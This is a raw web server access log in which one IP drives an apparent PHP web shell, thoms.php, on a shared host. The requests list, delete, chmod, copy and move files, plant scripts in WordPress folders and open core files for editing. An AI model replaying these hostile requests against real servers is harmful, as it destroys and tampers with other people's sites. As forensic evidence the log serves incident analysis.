45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13556 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus-20260912023538.zip HTTP/1.1" 200 46353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76/bossini.com.tw/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17710 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12587 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 22208 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?copy=thoms.php&p= HTTP/1.1" 200 12311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20736 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20935 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12340 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20963 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-comments-post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?edit=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 13933 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:17 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?edit=readme.html&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21935 "https://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=readme.html&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:18 -0400] "GET /thoms.php?edit=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?edit=mah.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?edit=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=mah.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?edit=wp-activate.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/update-core.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/upgrade.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/install.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/import.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22238 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22120 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22286 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
